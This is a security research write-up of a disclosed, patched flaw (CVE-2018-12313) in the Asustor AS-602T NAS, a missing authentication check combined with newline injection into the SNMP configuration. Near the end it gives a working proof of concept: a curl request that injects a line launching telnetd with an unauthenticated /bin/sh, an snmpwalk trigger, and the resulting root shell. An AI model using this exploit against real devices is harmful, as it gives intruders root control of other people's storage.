Unauthenticated Remote Code Execution in Asustor AS-602T (CVE-2018-12313)
ISE Labs discovers critical vulnerabilities in popular NAS device.
My team at ISE Labs recently conducted a security assessment of the Asustor AS-602T, a popular network-attached storage (NAS) device. We have since disclosed our findings to Asustor, and a firmware update that addresses the issues we discovered was released in late May (ADM 3.1.3.RHU2). We highly recommend you update to the latest firmware if you haven’t already.
Among our findings was a vulnerability in the SNMP API of the device’s web interface that could allow unauthenticated attackers to run arbitrary commands on the device as root (CVE-2018–12313). We first discussed the technical details of this bug in a comprehensive livestream last week that went over the full process of finding and exploiting it.
The purpose of this post is to provide a readable synopsis for the flaw. I’ll explain the underlying cause of the vulnerability and outline the steps we took to exploit it. First, however, I’ll go over what SNMP actually is. If you’re already familiar with the protocol, you can skip this next section.

SNMP
SNMP stands for Simple Network Management Protocol. It provides a standard method for retrieving information about devices on a network. The devices that run SNMP daemons to share this information are called agents, and the ones that query them for the information are called managers.
The agents store information in variables organized in a tree structure, known as a management information base (MIB). To query a piece of information from a device running an SNMP agent, you need to know the object identifier (OID) for the corresponding variable in the MIB. Then, you can use a utility like snmpwalk to query the agent for that OID.
For instance, the OID for the system uptime is DISMAN-EVENT-MIB::sysUpTimeInstance
or, in numeric form, .1.3.6.1.2.1.1.3.0
. To check how long our NAS (running at 192.168.1.19) has been up, we’d run a command like:
$ snmpwalk -v1 -c bork1 192.168.1.19 .1.3.6.1.2.1.1.3.0
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (6583944) 18:17:19.44
In this case, bork1
is just the community string we’ve configured the agent to use. You can set it to any arbitrary string, but the manager must provide the correct value in order to query the device.
When there’s no OID for some specific information you need, you can also extend the SNMP agent to run a system command and return the output as a variable. Under the Net-SNMP suite, this is done by adding an extend
line to the agent configuration file. We’ll return to this fact later, as it is essential to our exploitation process.
The Vulnerability
Now that we have a basic overview of SNMP, we can take a look at the API for it on the NAS. You can find it under Services from the main portal. It has a simple user interface with fields to view and modify the current agent configuration.

The requests for this page are handled by the endpoint /portal/apis/services/snmp.cgi
, which returns data formatted as JSON.
During our testing of this functionality, we technically found two separate issues affecting this endpoint. The first involves missing authentication checks — you don’t need to be logged in to retrieve the SNMP settings. This allowed us to disclose information about the current SNMP configuration, including credentials, without ever needing to know the admin password.
To demonstrate this, I’ve deleted all my cookies and authentication data in the following request to snmp.cgi:

Despite having no indication that we’re actually logged into the web portal, the application responds with the device’s SNMP agent settings, including the plaintext password (for SNMPv3):

In addition to giving us the current SNMP settings, the same endpoint is also responsible for updating them on the device. By making another request to the same endpoint and providing the necessary form parameters, we can alter the SNMP settings without authentication. Here’s what that looks like:

Upon success, the server should just respond with { "success": true }
.
At this point, we used the SSH access provided by the NAS to download a copy of snmp.cgi and reverse engineer it. Using IDA Pro, we determined that the configuration file this application modifies is located at /usr/builtin/etc/snmp/snmpd.conf
on the filesystem. We then confirmed this over SSH:
$ cat snmpd.conf
rocommunity asustor localhost
rocommunity bork1
rocommunity6 bork1
createuser bork1 MD5 password
rouser bork1
You can see some of the data we sent in the POST request appears in the file verbatim, such as the values of rocommunity
and rouser
.
This is where the second issue comes into play: the application doesn’t reject input containing newline characters. By providing the URL-encoded form of a newline (%0A) in the value of rocommunity
, we were able to break out of these option lines and insert our own:

The text following the newline character appears on its own line, exactly as we sent it (albeit in two locations, but that’s not a problem for us):
$ cat snmpd.conf
rocommunity asustor localhost
rocommunity bork1
my_injected_option optionarg1 optionarg2
rocommunity6 bork1
my_injected_option optionarg1 optionarg2
createuser bork1 MD5 password
rouser bork1
Exploitation
Since we can inject newlines into the snmpd configuration file, we can add options to configure the agent in ways Asustor didn’t intend.
This includes the extend
option I mentioned previously: by giving the NAS a crafted rocommunity
entry, we can add our own custom variable to the SNMP daemon that returns the output of any system command we want.
The format of an extend
line in snmpd.conf is:
extend [MIBOID] NAME PROG ARGS
For testing purposes, we’ll use this payload:
extend hosts /bin/cat /etc/hosts
That way, we should be able to send an SNMP query to the NAS to reveal the contents of /etc/hosts. We can add this variable to the agent by injecting a newline, followed by the malicious option line itself:

Once the request goes through, the next step is to trigger the command and view its output. The agent on the NAS won’t run our command until we query the associated OID. As I mentioned earlier, a popular program for issuing SNMP queries is snmpwalk, which I have installed. However, we still need to figure out the OID for our extend
variable.
According to the definitions for the extend MIB, the OID we need is called NET-SNMP-EXTEND-MIB::nsExtendOutputFull
. Note that if I didn’t have the MIB definitions installed on my system, I would have to use the numeric version of the OID instead: .1.3.6.1.4.1.8072.1.3.2.3.1.2
.
With this information at hand, triggering the command is simply a matter of running snmpwalk to query the agent for our OID:
$ snmpwalk -v1 -c bork1 192.168.1.19 NET-SNMP-EXTEND-MIB::nsExtendOutputFull
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."hosts" = STRING: 127.0.0.1 localhost
::1 localhost
192.168.1.19 AS-602T-EDE6
As you can see, the agent ran cat /etc/hosts
and returned the output to us — but we could have run any command we wanted, like one to spawn a reverse shell or plant malware. To this end, here’s a quick proof of concept to start a Telnet daemon for /bin/sh with authentication checks disabled:
#!/bin/bashcurl -X 'POST' --data 'enable_snmp=1&rocommunity=bork1%0Aextend test /usr/sbin/telnetd -l /bin/sh&enable_snmp_v1v2=1&enable_snmp_v3=1&rouser=bork1&passwd=password&trap_critical=1&trap_error=1&trap_warning=1&trap_information=0&trap_address=192.168.1.1' 'http://192.168.1.19:8000/portal/apis/services/snmp.cgi?act=set&tab=Set'snmpwalk -v1 -c bork1 192.168.1.19 .1.3.6.1.4.1.8072.1.3.2.3.1.2
You can then just connect to port 23 to get a root shell:
$ telnet 192.168.1.19
Trying 192.168.1.19...
Connected to 192.168.1.19.
Escape character is '^]'./ # id
uid=0(root) gid=0(root) groups=0(root)
/ #
For a more in-depth walkthrough of the vulnerability discovery process, you can watch the livestream embedded below. We will continue to broadcast these technical streams for our research in the coming weeks and months, so keep an eye on the @ISESecurity feed for announcements.
Disclosure Timeline
- 17 May 2018 23:31 GMT: Vulnerabilities reported to Asustor project manager via email
- 21 May 2018 14:58 GMT: Report acknowledged and sent to R&D for verification
- 31 May 2018 09:05 GMT: Asustor releases firmware version ADM 3.1.3.RHU2 to fix vulnerabilities
Shaun Mirani, Junior Security Analyst @ Independent Security Evaluators